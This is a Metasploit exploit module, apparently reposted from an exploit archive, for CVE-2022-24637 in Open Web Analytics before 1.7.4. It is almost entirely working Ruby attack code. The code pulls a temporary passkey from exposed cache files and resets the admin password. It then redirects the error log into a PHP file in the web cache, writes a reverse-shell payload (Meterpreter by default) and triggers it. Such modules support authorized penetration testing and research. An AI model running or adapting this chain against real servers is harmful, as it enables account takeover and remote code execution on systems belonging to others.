Share
## https://sploitus.com/exploit?id=PACKETSTORM:171389
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Open Web Analytics 1.7.3 - Remote Code Execution (RCE)',  
'Description' => %q{  
Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive  
user information, which can be used to gain admin privileges by leveraging cache hashes.  
This occurs because files generated with '<?php (instead of the intended "<?php sequence) aren't handled  
by the PHP interpreter.  
},  
'Author' => [  
'Jacob Ebben', # ExploitDB Exploit Author  
'Dennis Pfleger' # Msf Module  
],  
'References' => [  
[ 'CVE', '2022-24637'],  
[ 'EDB', '51026'],  
[ 'URL', 'https://devel0pment.de/?p=2494' ]  
],  
'Licence' => MSF_LICENSE,  
'Platform' => ['php'],  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp'  
},  
'Targets' => [ ['Automatic', {}] ],  
'DisclosureDate' => '2022-03-18',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
ARTIFACTS_ON_DISK, # /owa-data/caches/{get_random_string(8)}.php  
IOC_IN_LOGS, # Malicious GET/POST requests in the webservice logs  
ACCOUNT_LOCKOUTS, # Account passwords will be changed in this module  
CONFIG_CHANGES, # Will update config files to trigger the exploit  
]  
}  
)  
)  
  
register_options([  
OptString.new('Username', [ true, 'Target username', 'admin' ]),  
OptString.new('Password', [ true, 'Target new password', 'pwned' ]),  
])  
  
register_advanced_options([  
OptInt.new('SearchLimit', [ false, 'Upper limit of user ids to check for usable cache file', 100 ]),  
OptBool.new('DefangedMode', [ true, 'Run in defanged mode', true ])  
])  
end  
  
def check  
res = check_connection  
return CheckCode::Unknown('Connection failed') unless res  
return CheckCode::Safe if !res.body.include?('Open Web Analytics')  
  
version = Rex::Version.new(res.body.scan(/version=([\d.]+)/).flatten.first)  
return CheckCode::Detected("Open Web Analytics #{version} detected") unless version < Rex::Version.new('1.7.4')  
  
CheckCode::Appears("Open Web Analytics #{version} is vulnerable")  
end  
  
def exploit  
if datastore['DefangedMode']  
warning = <<~EOF  
  
  
Are you SURE you want to execute the exploit against the target system?  
Running this exploit will change user passwords and config files of the  
target system.  
  
Disable the DefangedMode option if you have authorization to proceed.  
EOF  
  
fail_with(Failure::BadConfig, warning)  
end  
  
username = datastore['Username']  
new_password = datastore['Password']  
  
res = check_connection  
if res  
print_good("Connected to #{full_uri} successfully!")  
end  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.loginForm'),  
'keep_cookies' => true,  
'vars_post' => {  
'owa_user_id' => username,  
'owa_password' => rand_text_alphanumeric(8),  
'owa_action' => 'base.login'  
}  
)  
if res && res.code != 200  
fail_with(Failure::UnexpectedReply, 'An error occurred during the login attempt!')  
end  
  
print_status("Attempting to find cache of '#{username}' user")  
  
found = false  
cache = nil  
  
limit = datastore['SearchLimit']  
if limit < 0  
fail_with(Failure::BadConfig, 'SearchLimit must be set to a number > 0!')  
end  
  
limit.times do |key|  
user_id = "user_id#{key}"  
userid_hash = Digest::MD5.hexdigest(user_id)  
filename = "#{userid_hash}.php"  
cache_request = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "/owa-data/caches/#{key}/owa_user/#{filename}")  
)  
if cache_request && cache_request.code == 404  
next  
end  
  
cache_raw = cache_request.body  
cache = get_cache_content(cache_raw)  
cache_username = get_cache_username(cache)  
if cache_username != username  
print_status("The temporary password for a different user was found. \"#{cache_username}\": #{get_cache_temppass(cache)}")  
next  
else  
found = true  
break  
end  
end  
  
if !found  
fail_with(Failure::NotFound, "No cache found. Are you sure \"#{username}\" is a valid user?")  
end  
  
cache_temppass = get_cache_temppass(cache)  
print_good("Found temporary password for user '#{username}': #{cache_temppass}")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.usersPasswordEntry'),  
'keep_cookies' => true,  
'vars_post' => {  
'owa_password' => new_password,  
'owa_password2' => new_password,  
'owa_k' => cache_temppass,  
'owa_action' => 'base.usersChangePassword'  
}  
)  
  
if res && res.code != 302  
fail_with(Failure::UnexpectedReply, 'An error occurred when changing the user password!')  
end  
print_good("Changed the password of '#{username}' to '#{new_password}'")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.loginForm'),  
'keep_cookies' => true,  
'vars_post' => {  
'owa_user_id' => username,  
'owa_password' => new_password,  
'owa_action' => 'base.login'  
}  
)  
  
redirect = res['location']  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => URI(redirect).path  
)  
if res && res.code == 200  
print_good("Logged in as #{username} user")  
else  
fail_with(Failure::UnexpectedReply, "An error occurred during the login attempt of user #{username}")  
end  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral')  
)  
  
shell_filename = "#{rand_text_alphanumeric(8)}.php"  
  
nonce = get_update_nonce(res)  
log_location = 'owa-data/caches/' + shell_filename  
register_file_for_cleanup(shell_filename)  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral'),  
'keep_cookies' => true,  
'vars_post' => {  
'owa_nonce' => nonce,  
'owa_action' => 'base.optionsUpdate',  
'owa_config[base.error_log_file]' => log_location,  
'owa_config[base.error_log_level]' => 2  
}  
)  
fail_with(Failure::Unreachable, 'An error occurred when attempting to update config!') unless res && res.code == 302  
print_status('Creating log file')  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral'),  
'keep_cookies' => true,  
'vars_post' => {  
'owa_nonce' => nonce,  
'owa_action' => 'base.optionsUpdate',  
'owa_config[shell]' => payload.encoded + '?>'  
}  
)  
fail_with(Failure::Unknown, 'An error occurred when attempting to update config!') unless res && res.code == 302  
print_good('Wrote payload to file')  
  
send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "/owa-data/caches/#{shell_filename}"),  
timeout: 1  
)  
  
print_good('Triggering payload! Check your listener!')  
end  
  
def check_connection  
send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.loginForm')  
)  
end  
  
def get_cache_content(cache_raw)  
regex_cache_base64 = /\*(\w*={0,2})/  
regex_result = cache_raw.match(regex_cache_base64)  
  
unless regex_result  
fail_with(Failure::NotVulnerable, 'The serialized data can not be extracted from the cache file!')  
end  
  
Base64.decode64(regex_result[1]).force_encoding('ascii')  
end  
  
def get_cache_username(cache)  
match = cache.match(/"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"(\w*)"/)  
  
unless match  
fail_with(Failure::NotVulnerable, 'The username can not be extracted from the cache file!')  
end  
  
match[1]  
end  
  
def get_cache_temppass(cache)  
match = cache.match(/"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"(\w*)"/)  
  
unless match  
fail_with(Failure::NotVulnerable, 'The temp_passkey variable can not be extracted from the cache file!')  
end  
  
match[1]  
end  
  
def get_update_nonce(page)  
update_nonce = page.body.match(/owa_nonce" value="(\w*)"/)[1]  
  
unless update_nonce  
fail_with(Failure::NotVulnerable, 'The update_nonce variable can not be extracted from the page body!')  
end  
  
update_nonce  
end  
end